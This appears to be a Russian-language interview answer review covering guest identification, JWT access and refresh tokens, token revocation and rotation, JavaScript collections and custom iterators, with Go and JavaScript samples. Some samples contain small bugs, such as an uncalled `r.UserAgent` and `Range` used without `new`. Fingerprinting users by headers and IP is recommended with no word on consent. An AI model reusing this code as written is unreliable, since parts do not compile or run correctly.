Вопрос 16. Как идентифицировать неавторизованного пользователя между визитами, чтобы он мог совершать покупки без регистрации?
Таймкод: 00:20:35
Ответ собеседния: Неполный. Предложил генерировать уникальный идентификатор на фронтенде при первом визите и сохранять его в cookie, затем отправлять с каждым запросом на сервер. Однако отметил проблему: при очистке cookie или переустановке браузера идентификатор теряется. Не упомянул fingerprinting или другие более надёжные методы.
Правильный ответ:
Идентификация неавторизованных пользователей — распространённая задача для e-commerce, корзин покупок, отслеживания сессий. Существует несколько подходов с разной степенью надёжности.
1. Cookie с уникальным идентификатором (базовый подход)
package main
import (
"crypto/rand"
"encoding/hex"
"net/http"
"time"
)
func generateGuestID() string {
bytes := make([]byte, 16)
rand.Read(bytes)
return hex.EncodeToString(bytes)
}
func guestMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
var guestID string
// Проверяем существующий guest_id
cookie, err := r.Cookie("guest_id")
if err == nil && cookie.Value != "" {
guestID = cookie.Value
} else {
// Генерируем новый guest_id
guestID = generateGuestID()
http.SetCookie(w, &http.Cookie{
Name: "guest_id",
Value: guestID,
Path: "/",
MaxAge: 365 * 24 * 3600, // 1 год
HttpOnly: true,
Secure: true,
SameSite: http.SameSiteLaxMode,
})
}
ctx := context.WithValue(r.Context(), "guest_id", guestID)
next.ServeHTTP(w, r.WithContext(ctx))
})
}
// Использование для корзины
func addToCartHandler(w http.ResponseWriter, r *http.Request) {
guestID := r.Context().Value("guest_id").(string)
productID := r.FormValue("product_id")
// Сохраняем товар в корзину по guest_id
db.Exec(
"INSERT INTO cart (guest_id, product_id, quantity) VALUES ($1, $2, 1) "+
"ON CONFLICT (guest_id, product_id) DO UPDATE SET quantity = cart.quantity + 1",
guestID, productID,
)
w.Write([]byte("Added to cart"))
}
Проблема: при очистке cookie, использовании режима инкогнито или другого браузера — идентификатор теряется.
2. LocalStorage + Cookie (двойное хранение)
// Клиентская сторона
function getOrCreateGuestID() {
let guestID = localStorage.getItem('guest_id');
if (!guestID) {
guestID = crypto.randomUUID();
localStorage.setItem('guest_id', guestID);
}
return guestID;
}
// Отправляем в заголовке
fetch('/api/cart', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-Guest-ID': getOrCreateGuestID(),
},
body: JSON.stringify({ product_id: 123 }),
});
// Серверная сторона
func getGuestID(r *http.Request) string {
// Сначала проверяем cookie
if cookie, err := r.Cookie("guest_id"); err == nil {
return cookie.Value
}
// Затем заголовок
if guestID := r.Header.Get("X-Guest-ID"); guestID != "" {
return guestID
}
return ""
}
Проблема: LocalStorage очищается вместе с данными сайта, cookie — отдельно. Но оба теряются при полной очистке.
3. Browser Fingerprinting
Более надёжный, но менее точный метод:
import (
"crypto/sha256"
"encoding/hex"
"net/http"
"strings"
)
func generateFingerprint(r *http.Request) string {
// Собираем данные о браузере
components := []string{
r.UserAgent,
r.Header.Get("Accept-Language"),
r.Header.Get("Accept-Encoding"),
r.Header.Get("Accept"),
}
// Добавляем IP (может меняться, но добавляет энтропии)
ip := strings.Split(r.RemoteAddr, ":")[0]
components = append(components, ip)
// Хэшируем
data := strings.Join(components, "|")
hash := sha256.Sum256([]byte(data))
return hex.EncodeToString(hash[:])
}
func fingerprintMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
fingerprint := generateFingerprint(r)
ctx := context.WithValue(r.Context(), "fingerprint", fingerprint)
next.ServeHTTP(w, r.WithContext(ctx))
})
}
JavaScript fingerprinting (более точный):
// Используем библиотеку fingerprintjs
import FingerprintJS from '@fingerprintjs/fingerprintjs';
async function getFingerprint() {
const fp = await FingerprintJS.load();
const result = await fp.get();
return result.visitorId; // Уникальный идентификатор на основе характеристик устройства
}
Проблема: fingerprint может совпадать у разных пользователей с одинаковыми устройствами/браузерами. Также меняется при обновлении браузера.
4. Комбинированный подход (рекомендуемый)
type GuestIdentifier struct {
CookieID string
Fingerprint string
Email string // если пользователь ввёл email
}
func identifyGuest(r *http.Request) GuestIdentifier {
var id GuestIdentifier
// Cookie
if cookie, err := r.Cookie("guest_id"); err == nil {
id.CookieID = cookie.Value
}
// Fingerprint
id.Fingerprint = generateFingerprint(r)
return id
}
// Мержинг корзин при регистрации/логине
func mergeCarts(tx *sql.Tx, guestID string, userID int) error {
// Переносим товары из гостевой корзины в пользовательскую
_, err := tx.Exec(`
INSERT INTO cart (user_id, product_id, quantity)
SELECT $1, product_id, quantity
FROM cart
WHERE guest_id = $2
ON CONFLICT (user_id, product_id)
DO UPDATE SET quantity = cart.quantity + EXCLUDED.quantity
`, userID, guestID)
// Удаляем гостевую корзину
tx.Exec("DELETE FROM cart WHERE guest_id = $1", guestID)
return err
}
5. Мержинг данных при регистрации
Критически важный момент — сохранение данных при переходе от гостя к пользователю:
func registerHandler(w http.ResponseWriter, r *http.Request) {
email := r.FormValue("email")
password := r.FormValue("password")
// Создаём пользователя
userID, err := createUser(email, password)
if err != nil {
http.Error(w, "Registration failed", http.StatusInternalServerError)
return
}
// Мержим корзину
guestCookie, err := r.Cookie("guest_id")
if err == nil {
tx, _ := db.Begin()
mergeCarts(tx, guestCookie.Value, userID)
tx.Commit()
}
// Создаём сессию
sessionID := store.Create(userID, email)
http.SetCookie(w, &http.Cookie{
Name: "session_id",
Value: sessionID,
HttpOnly: true,
Secure: true,
MaxAge: 24 * 3600,
})
w.Write([]byte("Registered"))
}
Сравнение подходов:
| Подход | Надёжность | Сложность | Ограничения |
|---|---|---|---|
| Cookie | Средняя | Низкая | Очистка cookie |
| LocalStorage + Cookie | Средняя | Низкая | Очистка данных |
| Fingerprint | Высокая | Средняя | Совпадения у похожих устройств |
| Комбинированный | Высокая | Высокая | Сложность реализации |
Рекомендация:
Для e-commerce оптимальный подход:
- Cookie с долгим сроком (1 год) как основной идентификатор
- Мержинг корзины при регистрации/логине
- Запрос email на этапе оформления заказа (для восстановления корзины через ссылку в письме)
- Уведомление пользователя: «Создайте аккаунт, чтобы сохранить корзину»
Вопрос 17. Если refresh токен хранится в httpOnly cookie и отправляется с каждым запросом, нужен ли тогда access токен?
Таймкод: 00:24:57
Ответ собеседника: Неполный. Не смог чётко ответить. Предположил, что access токен может быть не нужен, так как сервер может валидировать refresh токен из cookie. Однако не объяснил ключевые различия: access токен используется для авторизации и имеет короткое время жизни, а refresh — только для обновления пары. При уточнении, что refresh не должен отправляться с каждым запросом, согласился, но не развил мысль.
Правильный ответ:
Access токен всё ещё нужен. Эти токены выполняют разные функции, и их разделение — это осознанное архитектурное решение для безопасности.
Различия между access и refresh токенами:
| Критерий | Access Token | Refresh Token |
|---|---|---|
| Назначение | Авторизация запросов | Получение новой пары токенов |
| Время жизни | 5–15 минут | Дни/недели |
| Отправка | Каждый запрос | Только на /refresh |
| Хранение | Память JS | httpOnly cookie |
| Проверка | Подпись (stateless) | Подпись + БД (stateful) |
| Утечка | Краткосрочный ущерб | Долгосрочный ущерб |
Почему нельзя использовать только refresh token:
1. Безопасность при утечке
Если refresh token отправляется с каждым запросом — он чаще передаётся по сети, что увеличивает риск перехвата:
С access + refresh (правильно):
- Access утёк → действителен 15 минут
- Refresh утёк → можно отозвать на сервере
Только refresh (неправильно):
- Refresh утёк → злоумышленник получает доступ на дни/недели
- Нельзя быстро ограничить ущерб
2. Производительность
Access token (JWT) проверяется stateless — только подпись:
// Быстрая проверка access token (stateless)
func validateAccessToken(token string) (*Claims, error) {
return jwt.ParseWithClaims(token, &Claims{}, func(t *jwt.Token) (interface{}, error) {
return secret, nil // Только проверка подписи
})
}
Refresh token требует проверки в базе данных:
// Медленная проверка refresh token (stateful)
func validateRefreshToken(token string) (*RefreshClaims, error) {
claims, err := jwt.ParseWithClaims(token, &RefreshClaims{}, keyFunc)
if err != nil {
return nil, err
}
// Запрос к БД на каждый запрос — узкое место!
var stored RefreshToken
err = db.QueryRow("SELECT * FROM refresh_tokens WHERE id = $1 AND revoked = false", claims.ID).
Scan(&stored.ID, &stored.UserID, &stored.ExpiresAt, &stored.Revoked)
if err != nil {
return nil, err
}
return claims, nil
}
Если использовать refresh token для каждого запроса — каждый запрос требует обращения к БД, что убивает производительность.
3. Принцип наименьших привилегий
Access token содержит минимально необходимую информацию для авторизации. Refresh token — более «мощный», он может генерировать новые токены. Чем реже он используется — тем безопаснее.
Правильная архитектура:
Клиент Сервер
| |
|--- API Request -------------->| (access token в заголовке)
| Authorization: Bearer xxx |
| |
|<-- 401 (access истёк) --------|
| |
|--- POST /api/auth/refresh --->| (refresh token в cookie)
| Cookie: refresh_token=yyy |
| |
|<-- { access_token: "new" } ---|
| |
|--- API Request -------------->| (новый access token)
| Authorization: Bearer new |
| |
|<-- 200 OK + data -------------|
Реализация на Go:
// Middleware для проверки access token (stateless, быстро)
func accessAuthMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
tokenString := extractBearerToken(r)
if tokenString == "" {
http.Error(w, "Missing token", http.StatusUnauthorized)
return
}
claims, err := validateAccessToken(tokenString)
if err != nil {
http.Error(w, "Invalid token", http.StatusUnauthorized)
return
}
ctx := context.WithValue(r.Context(), "user_id", claims.UserID)
ctx = context.WithValue(ctx, "role", claims.Role)
next.ServeHTTP(w, r.WithContext(ctx))
})
}
// Endpoint refresh (stateful, редко вызывается)
func refreshHandler(w http.ResponseWriter, r *http.Request) {
// Refresh token приходит только в cookie
cookie, err := r.Cookie("refresh_token")
if err != nil {
http.Error(w, "No refresh token", http.StatusUnauthorized)
return
}
// Проверка в БД
storedToken, err := getRefreshTokenFromDB(cookie.Value)
if err != nil || storedToken.Revoked {
http.Error(w, "Invalid refresh token", http.StatusUnauthorized)
return
}
// Генерация нового access token (stateless)
newAccessToken, _ := generateAccessToken(storedToken.UserID)
// Rotation: новый refresh token
newRefreshToken, _ := generateRefreshToken(storedToken.UserID)
revokeRefreshToken(storedToken.ID)
saveRefreshToken(storedToken.UserID, newRefreshToken)
// Устанавливаем новый refresh token в cookie
http.SetCookie(w, &http.Cookie{
Name: "refresh_token",
Value: newRefreshToken,
Path: "/api/auth",
HttpOnly: true,
Secure: true,
SameSite: http.SameSiteStrictMode,
MaxAge: 7 * 24 * 3600,
})
// Access token возвращаем в теле
json.NewEncoder(w).Encode(map[string]string{
"access_token": newAccessToken,
})
}
Итог:
Access и refresh токены не дублируют друг друга, а дополняют:
- Access token — для частых, быстрых, stateless-проверок
- Refresh token — для редких, безопасных, stateful-обновлений
Использование только refresh token для всех запросов — это антипаттерн, который снижает безопасность и производительность.
Вопрос 18. Если refresh токен хранится в httpOnly cookie и живёт неделю, а злоумышленник его украдёт — можно ли инвалидировать refresh токен и как это сделать?
Таймкод: 00:26:23
Ответ собеседника: Неполный. Предположил, что при логауте можно удалить cookie на сервере и при следующем логине выдаётся новый токен. Однако не решил проблему одновременного существования старого украденного и нового валидных токенов. Не упомянул механизм token rotation или хранение в БД информации о последнем выданном токене.
Правильный ответ:
Да, refresh токен можно инвалидировать, но для этого сервер должен хранить информацию о выданных токенах. Это делает refresh tokens stateful, в отличие от access tokens.
Механизмы инвалидации refresh токенов:
1. Blacklist в базе данных (Token Revocation)
package main
import (
"database/sql"
"time"
)
type RefreshToken struct {
ID string `db:"id"`
UserID int `db:"user_id"`
TokenHash string `db:"token_hash"` // Хэш токена, не сам токен
ExpiresAt time.Time `db:"expires_at"`
Revoked bool `db:"revoked"`
CreatedAt time.Time `db:"created_at"`
FamilyID string `db:"family_id"` // Для обнаружения reuse
}
type TokenStore struct {
db *sql.DB
}
// Сохранение нового refresh token
func (s *TokenStore) SaveToken(userID int, tokenID string, familyID string, expiresAt time.Time) error {
tokenHash := hashToken(tokenID)
_, err := s.db.Exec(`
INSERT INTO refresh_tokens (id, user_id, token_hash, family_id, expires_at, revoked)
VALUES ($1, $2, $3, $4, $5, false)
`, tokenID, userID, tokenHash, familyID, expiresAt)
return err
}
// Проверка и отзыв токена
func (s *TokenStore) ValidateAndRotate(oldTokenID string, userID int) (bool, string, error) {
tx, err := s.db.Begin()
if err != nil {
return false, "", err
}
defer tx.Rollback()
// Ищем токен
var stored RefreshToken
err = tx.QueryRow(`
SELECT id, user_id, revoked, family_id FROM refresh_tokens
WHERE id = $1 AND user_id = $2
`, oldTokenID, userID).Scan(&stored.ID, &stored.UserID, &stored.Revoked, &stored.FamilyID)
if err != nil {
return false, "", err
}
// Токен уже отозван — возможная атака!
if stored.Revoked {
// Отзываем ВСЕ токены в этой семье
tx.Exec("UPDATE refresh_tokens SET revoked = true WHERE family_id = $1", stored.FamilyID)
tx.Commit()
// Логируем инцидент безопасности
logSecurityEvent("refresh_token_reuse_detected", userID, oldTokenID)
return false, "", ErrTokenReuseDetected
}
// Отзываем старый токен
tx.Exec("UPDATE refresh_tokens SET revoked = true WHERE id = $1", oldTokenID)
// Генерируем новый токен в той же семье
newTokenID := generateTokenID()
newExpiresAt := time.Now().Add(7 * 24 * time.Hour)
tx.Exec(`
INSERT INTO refresh_tokens (id, user_id, token_hash, family_id, expires_at, revoked)
VALUES ($1, $2, $3, $4, $5, false)
`, newTokenID, userID, hashToken(newTokenID), stored.FamilyID, newExpiresAt)
tx.Commit()
return true, newTokenID, nil
}
// Отзыв всех токенов пользователя (при смене пароля, логаут со всех устройств)
func (s *TokenStore) RevokeAllUserTokens(userID int) error {
_, err := s.db.Exec("UPDATE refresh_tokens SET revoked = true WHERE user_id = $1", userID)
return err
}
Структура таблицы в базе данных:
CREATE TABLE refresh_tokens (
id VARCHAR(64) PRIMARY KEY,
user_id INTEGER NOT NULL REFERENCES users(id),
token_hash VARCHAR(128) NOT NULL,
family_id VARCHAR(64) NOT NULL,
expires_at TIMESTAMP NOT NULL,
revoked BOOLEAN DEFAULT FALSE,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
ip_address INET,
user_agent TEXT
);
CREATE INDEX idx_refresh_tokens_user_id ON refresh_tokens(user_id);
CREATE INDEX idx_refresh_tokens_family_id ON refresh_tokens(family_id);
CREATE INDEX idx_refresh_tokens_expires_at ON refresh_tokens(expires_at);
-- Периодическая очистка истёкших токенов
-- DELETE FROM refresh_tokens WHERE expires_at < NOW() - INTERVAL '30 days';
2. Token Rotation с обнаружением повторного использования
Это ключевой механизм безопасности. При каждом обновлении старый токен отзывается, а если кто-то попытается использовать уже отозванный — это признак кражи:
func refreshHandler(w http.ResponseWriter, r *http.Request) {
// Получаем refresh token из cookie
cookie, err := r.Cookie("refresh_token")
if err != nil {
http.Error(w, "No refresh token", http.StatusUnauthorized)
return
}
// Валидация JWT (подпись, срок)
claims, err := validateRefreshTokenJWT(cookie.Value)
if err != nil {
http.Error(w, "Invalid refresh token", http.StatusUnauthorized)
return
}
// Проверка в БД и rotation
valid, newTokenID, err := tokenStore.ValidateAndRotate(claims.ID, claims.UserID)
if err == ErrTokenReuseDetected {
// Критическая ситуация: токен был использован повторно
// Все токены семьи уже отозваны в ValidateAndRotate
// Уведомляем пользователя
notifyUserOfSuspiciousActivity(claims.UserID)
http.Error(w, "Security violation detected", http.StatusUnauthorized)
return
}
if !valid {
http.Error(w, "Token revoked", http.StatusUnauthorized)
return
}
// Генерируем новый access token
newAccessToken, _ := generateAccessToken(claims.UserID, claims.Role)
// Устанавливаем новый refresh token
http.SetCookie(w, &http.Cookie{
Name: "refresh_token",
Value: newTokenID,
Path: "/api/auth",
HttpOnly: true,
Secure: true,
SameSite: http.SameSiteStrictMode,
MaxAge: 7 * 24 * 3600,
})
json.NewEncoder(w).Encode(map[string]string{
"access_token": newAccessToken,
})
}
Сценарий обнаружения кражи:
Временная шкала:
─────────────────────────────────────────────────────
1. Легитимный пользователь имеет refresh token A
2. Злоумышленник крадёт token A (XSS, MITM)
3. Легитимный пользователь обновляет → получает token B
(token A отзывается)
4. Злоумышленник пытается использовать token A
→ Сервер видит, что token A уже отозван
→ Отзывает ВСЕ токены семьи (включая token B)
→ Логирует инцидент
→ Оба пользователя должны перелогиниться
3. Полный логаут со всех устройств:
func logoutAllDevicesHandler(w http.ResponseWriter, r *http.Request) {
userID := r.Context().Value("user_id").(int)
// Отзываем ВСЕ refresh tokens пользователя
err := tokenStore.RevokeAllUserTokens(userID)
if err != nil {
http.Error(w, "Logout failed", http.StatusInternalServerError)
return
}
// Очищаем cookie
http.SetCookie(w, &http.Cookie{
Name: "refresh_token",
Value: "",
Path: "/api/auth",
MaxAge: -1, // Удаление cookie
HttpOnly: true,
Secure: true,
})
w.Write([]byte("Logged out from all devices"))
}
4. Отзыв при смене пароля:
func changePasswordHandler(w http.ResponseWriter, r *http.Request) {
userID := r.Context().Value("user_id").(int)
currentPassword := r.FormValue("current_password")
newPassword := r.FormValue("new_password")
// Проверяем текущий пароль
if !verifyPassword(userID, currentPassword) {
http.Error(w, "Invalid current password", http.StatusUnauthorized)
return
}
// Меняем пароль
updatePassword(userID, newPassword)
// Отзываем ВСЕ refresh tokens — все устройства должны перелогиниться
tokenStore.RevokeAllUserTokens(userID)
// Создаём новую пару токенов для текущего устройства
accessToken, _ := generateAccessToken(userID, "user")
refreshToken, _ := generateRefreshToken(userID)
setRefreshTokenCookie(w, refreshToken)
json.NewEncoder(w).Encode(map[string]string{
"access_token": accessToken,
})
}
Итог:
Refresh токены можно инвалидировать через:
- Хранение в БД с флагом
revoked - Token rotation с обнаружением повторного использования
- Отзыв всех токенов пользователя при критических событиях
- Семейства токенов для обнаружения утечек
Это делает refresh tokens stateful, но это необходимая цена за безопасность. Access tokens остаются stateless — их короткое время жизни компенсирует невозможность мгновенного отзыва.
Вопрос 19. Почему JWT изначально создавался как бессессионная авторизация, но со временем появилась необходимость инвалидации токенов и это привело к гибридному подходу?
Таймкод: 00:29:30
Ответ собеседника: Правильный. JWT изначально задуман как бессессионный — токен самодостаточен и не связан с сервером. Но появилась потребность в инвалидации (логаут, кража токена). Для стали хранить в БД секретную строку или информацию о валидности токена, что фактически вернуло сессионный подход — получился гибрид.
Правильный ответ:
Ответ собеседника корректен. Ниже приведено более детальное описание эволюции подходов.
Идея JWT (2010–2015):
JWT был создан для решения проблемы масштабируемости сессий. Основные преимущества stateless-подхода:
Традиционные сессии:
Запрос → Сервер → Запрос к Redis/БД → Ответ
(каждый запрос требует обращения к хранилищу)
JWT:
Запрос → Сервер → Проверка подписи → Ответ
(никаких внешних запросов)
Проблемы, которые решал JWT:
- Масштабирование — не нужна общая хранилище сессий между серверами
- Микросервисы — каждый сервис может самостоятельно проверить токен
- Производительность — нет запросов к БД на каждый запрос
- CORS — не нужны cookies, можно использовать заголовки
Почему stateless оказался недостаточным:
1. Невозможность мгновенного отзыва
// Проблема: JWT действителен до истечения exp
// Даже если пользователь заблокирован или сменил пароль
func banUser(userID int) {
db.Exec("UPDATE users SET banned = true WHERE id = $1", userID)
// Но JWT этого пользователя ещё действителен!
// Нет способа инвалидировать конкретный токен
}
// Проверка JWT не знает о блокировке
func authMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
claims, err := validateToken(r)
if err != nil {
http.Error(w, "Unauthorized", http.StatusUnauthorized)
return
}
// Токен валиден, но пользователь может быть заблокирован!
// Нужен запрос к БД... и вот мы вернулись к stateful
next.ServeHTTP(w, r)
})
}
2. Безопасность при утечке
Если JWT украден, злоумышленник может использовать его до истечения срока (обычно 15 минут — 1 час). Нет способа отозвать конкретный токен.
3. Требования бизнес-логики
- Логаут должен работать мгновенно
- Смена пароля должна инвалидировать все сессии
- Блокировка пользователя должна быть немедленной
- Администратор должен иметь возможность завершить сессию
Эволюция к гибридному подходу:
Фаза 1: Чистый JWT (stateless)
// Только проверка подписи и срока
func validateToken(token string) (*Claims, error) {
return jwt.ParseWithClaims(token, &Claims{}, func(t *jwt.Token) (interface{}, error) {
return secret, nil
})
}
Фаза 2: JWT + Blacklist в Redis
func validateToken(token string) (*Claims, error) {
claims, err := jwt.ParseWithClaims(token, &Claims{}, keyFunc)
if err != nil {
return nil, err
}
// Проверка в blacklist
exists, _ := redisClient.Exists(ctx, "blacklist:"+claims.ID).Result()
if exists > 0 {
return nil, errors.New("token revoked")
}
return claims, nil
}
func revokeToken(jti string, expiresAt time.Time) {
ttl := time.Until(expiresAt)
redisClient.Set(ctx, "blacklist:"+jti, "1", ttl)
}
Фаза 3: JWT + Refresh Token Rotation (гибрид)
// Access token — короткоживущий, stateless
type AccessClaims struct {
UserID int `json:"user_id"`
Role string `json:"role"`
jwt.RegisteredClaims
}
// Refresh token — долгоживущий, stateful
type RefreshClaims struct {
UserID int `json:"user_id"`
FamilyID string `json:"family_id"`
jwt.RegisteredClaims
}
// Access проверяется stateless
func validateAccessToken(token string) (*AccessClaims, error) {
return jwt.ParseWithClaims(token, &AccessClaims{}, keyFunc)
}
// Refresh проверяется в БД
func validateRefreshToken(token string) (*RefreshClaims, error) {
claims, err := jwt.ParseWithClaims(token, &RefreshClaims{}, keyFunc)
if err != nil {
return nil, err
}
// Проверка в БД
var revoked bool
db.QueryRow("SELECT revoked FROM refresh_tokens WHERE id = $1", claims.ID).Scan(&revoked)
if revoked {
return nil, errors.New("token revoked")
}
return claims, nil
}
Сравнение подходов:
| Подход | Stateless | Отзыв | Производительность | Сложность |
|---|---|---|---|---|
| Чистый JWT | Да | Нет | Высокая | Низкая |
| JWT + Blacklist | Частично | Да | Средняя | Средняя |
| JWT + Rotation | Частично | Да | Высокая | Высокая |
| Сессии | Нет | Да | Низкая | Низкая |
Когда чистый JWT подходит:
- Микросервисы с коротким сроком жизни токена (1–5 минут)
- Внутренние сервисы, где утечка маловероятна
- Одноразовые токены (email verification, password reset)
- Публичные API с rate limiting вместо отзыва
Когда нужен гибрид:
- Пользовательские сессии с возможностью логаут
- Требования безопасности (мгновенный отзыв)
- Долгоживущие приложения (мобильные приложения)
- Системы с административным управлением сессиями
Итог:
JWT не стал «плохим» — он просто используется не так, как изначально задумывался. Современный подход — это гибрид: stateless access tokens для производительности и stateful refresh tokens для безопасности. Это не возврат к сессиям, а разумное сочетание двух подходов.
Вопрос 20. Чем отличаются Set, Map, WeakMap и WeakSet в JavaScript?
Таймкод: 00:30:52
Ответ собеседника: Правильный. Set — коллекция уникальных элементов. Map — коллекция пар ключ-значение, где ключом может быть любой тип данных (в отличие от объекта, где только строка или символ), имеет методы get, set и т.д. WeakMap и WeakSet хранят слабые ссылки на объекты — ключом может быть только объект, и если на объект нет других ссылок, сборщик мусора удалит его. Нельзя итерировать по WeakMap из-за особенностей работы со слабыми ссылками.
Правильный ответ:
Ответ собеседника корректен. Ниже приведено более детальное описание с примерами.
Set — коллекция уникальных значений:
const set = new Set();
// Добавление элементов
set.add(1);
set.add('hello');
set.add({ id: 1 });
set.add(1); // Дубликат — проигнорирован
console.log(set.size); // 3
// Проверка наличия
console.log(set.has(1)); // true
// Удаление
set.delete(1);
// Итерация
for (const item of set) {
console.log(item);
}
// Полезные случаи использования
const array = [1, 2, 2, 3, 3, 4];
const unique = [...new Set(array)]; // [1, 2, 3, 4]
// Операции над множествами
const a = new Set([1, 2, 3]);
const b = new Set([2, 3, 4]);
// Пересечение
const intersection = new Set([...a].filter(x => b.has(x))); // {2, 3}
// Разность
const difference = new Set([...a].filter(x => !b.has(x))); // {1}
// Объединение
const union = new Set([...a, ...b]); // {1, 2, 3, 4}
Map — коллекция пар ключ-значение:
const map = new Map();
// Ключом может быть любой тип
map.set('string', 'value');
map.set(42, 'number key');
map.set({ id: 1 }, 'object key');
map.set(function() {}, 'function key');
// Получение значения
console.log(map.get('string')); // 'value'
// Проверка наличия
console.log(map.has(42)); // true
// Размер
console.log(map.size); // 4
// Удаление
map.delete('string');
// Итерация
for (const [key, value] of map) {
console.log(key, value);
}
// Отличие от обычного объекта:
const obj = {};
const key1 = { id: 1 };
const key2 = { id: 2 };
obj[key1] = 'first'; // Ключ преобразуется в строку "[object Object]"
obj[key2] = 'second'; // Перезаписывает key1!
const map2 = new Map();
map2.set(key1, 'first'); // Разные ключи — разные объекты
map2.set(key2, 'second');
console.log(map2.size); // 2
WeakSet — Set со слабыми ссылками:
const weakSet = new WeakSet();
let obj1 = { id: 1 };
let obj2 = { id: 2 };
weakSet.add(obj1);
weakSet.add(obj2);
console.log(weakSet.has(obj1)); // true
// Удаление объекта — сборщик мусора может удалить его из WeakSet
obj1 = null;
// Ограничения:
// weakSet.size — нет свойства size
// weakSet.forEach() — нет итерации
// weakSet.keys() — нет метода
// Только объекты в качестве значений
// Практическое применение — пометка объектов
const processedObjects = new WeakSet();
function process(obj) {
if (processedObjects.has(obj)) {
return; // Уже обработан
}
// Обработка...
processedObjects.add(obj);
}
WeakMap — Map со слабыми ссылками:
const weakMap = new WeakMap();
let element = document.getElementById('myElement');
// Хранение приватных данных для DOM-элемента
weakMap.set(element, {
clickCount: 0,
lastClick: null
});
// Получение данных
const data = weakMap.get(element);
data.clickCount++;
// При удалении элемента из DOM — данные автоматически удаляются
element = null; // Сборщик мусора удалит и запись в WeakMap
// Практическое применение — приватные свойства классов
const privateData = new WeakMap();
class User {
constructor(name, password) {
this.name = name;
privateData.set(this, { password });
}
getPassword() {
return privateData.get(this).password;
}
}
const user = new User('John', 'secret123');
console.log(user.password); // undefined — нет доступа
console.log(user.getPassword()); // 'secret123'
Сравнительная таблица:
| Характеристика | Set | Map | WeakSet | WeakMap |
|---|---|---|---|---|
| Тип значений | Любой | Любой | Только объекты | Ключ — объект |
| Тип ключей | — | Любой | — | Только объекты |
| Итерация | Да | Да | Нет | Нет |
| Размер (.size) | Да | Да | Нет | Нет |
| Очистка (.clear()) | Да | Да | Нет | Нет |
| Слабые ссылки | Нет | Нет | Да | Да |
| GC может удалить | Нет | Нет | Да | Да |
Когда использовать:
- Set — уникальные значения, операции над множествами
- Map — ключи любого типа, частая итерация, нужен размер
- WeakSet — пометка объектов без утечек памяти
- WeakMap — приватные данные, метаданные для объектов, кэширование без утечек
Вопрос 21. Можно ли создать свою структуру данных, по которой можно итерировать, и что для этого нужно?
Таймкод: 00:33:24
Ответ собеседника: Правильный. Да, можно создать итерируемый объект с помощью Symbol.iterator. Нужно задать метод next, который возвращает объект с полями value и done.
Правильный ответ:
Ответ собеседника корректен. Ниже приведено более детальное описание с примерами.
Протокол итератора в JavaScript:
Для создания итерируемого объекта нужно реализовать протокол итератора:
- Метод
[Symbol.iterator]()— возвращает объект с методомnext() - Метод
next()— возвращает объект{ value, done }
Простой пример — диапазон чисел:
class Range {
constructor(start, end) {
this.start = start;
this.end = end;
}
[Symbol.iterator]() {
let current = this.start;
const end = this.end;
return {
next() {
if (current <= end) {
return { value: current++, done: false };
}
return { value: undefined, done: true };
}
};
}
}
// Использование
const range = new Range(1, 5);
for (const num of range) {
console.log(num); // 1, 2, 3, 4, 5
}
// Spread оператор
console.log([...Range(1, 3)]); // [1, 2, 3]
// Деструктуризация
const [first, second] = new Range(10, 20);
console.log(first, second); // 10, 11
Итератор и итерируемый — разные вещи:
// Итератор — объект с методом next()
const iterator = {
next() {
return { value: 1, done: false };
}
};
// Итерируемый — объект с методом [Symbol.iterator]()
const iterable = {
[Symbol.iterator]() {
return {
next() {
return { value: 1, done: false };
}
};
}
};
Практический пример — стек с итератором:
class Stack {
constructor() {
this.items = [];
}
push(item) {
this.items.push(item);
}
pop() {
return this.items.pop();
}
// Итерация от вершины к основанию
[Symbol.iterator]() {
let index = this.items.length - 1;
const items = this.items;
return {
next() {
if (index >= 0) {
return { value: items[index--], done: false };
}
return { value: undefined, done: true };
}
};
}
// Отдельный итератор для обратного порядка
reverse() {
let index = 0;
const items = this.items;
return {
[Symbol.iterator]() {
return this;
},
next() {
if (index < items.length) {
return { value: items[index++], done: false };
}
return { value: undefined, done: true };
}
};
}
}
const stack = new Stack();
stack.push('first');
stack.push('second');
stack.push('third');
// Итерация от вершины (LIFO)
for (const item of stack) {
console.log(item); // third, second, first
}
Бесконечный итератор — генератор Фибоначчи:
class Fibonacci {
[Symbol.iterator]() {
let prev = 0;
let curr = 1;
return {
next() {
const value = prev;
[prev, curr] = [curr, prev + curr];
return { value, done: false }; // Никогда не done
}
};
}
}
// Использование с ограничением
const fib = new Fibonacci();
let count = 0;
for (const num of fib) {
if (count++ >= 10) break;
console.log(num);
}
// 0, 1, 1, 2, 3, 5, 8, 13, 21, 34
Генераторы — более простой способ:
Генераторы — это синтаксический сахар для создания итераторов:
class Range {
constructor(start, end) {
this.start = start;
this.end = end;
}
// Генератор вместо ручного итератора
*[Symbol.iterator]() {
for (let i = this.start; i <= this.end; i++) {
yield i;
}
}
}
// Или просто функция-генератор
function* fibonacci() {
let prev = 0;
let curr = 1;
while (true) {
yield prev;
[prev, curr] = [curr, prev + curr];
}
}
const fib = fibonacci();
console.log(fib.next()); // { value: 0, done: false }
console.log(fib.next()); // { value: 1, done: false }
console.log(fib.next()); // { value: 1, done: false }
Возможность раннего завершения:
Итератор может поддерживать метод return() для очистки ресурсов:
class DatabaseCursor {
constructor(query) {
this.query = query;
this.connection = null;
}
[Symbol.iterator]() {
let index = 0;
const results = this.fetchResults();
return {
next() {
if (index < results.length) {
return { value: results[index++], done: false };
}
return { value: undefined, done: true };
},
// Вызывается при досрочном выходе из цикла
return() {
console.log('Cleaning up resources...');
this.closeConnection();
return { value: undefined, done: true };
}
};
}
fetchResults() {
// Загрузка данных...
return [1, 2, 3, 4, 5];
}
closeConnection() {
// Закрытие соединения с БД
}
}
// При досрочном выходе вызывается return()
const cursor = new DatabaseCursor('SELECT * FROM users');
for (const row of cursor) {
if (row === 3) break; // return() будет вызван
}
Итерация нескольких коллекций:
class Zip {
constructor(...iterables) {
this.iterables = iterables;
}
*[Symbol.iterator]() {
const iterators = this.iterables.map(it => it[Symbol.iterator]());
while (true) {
const results = iterators.map(it => it.next());
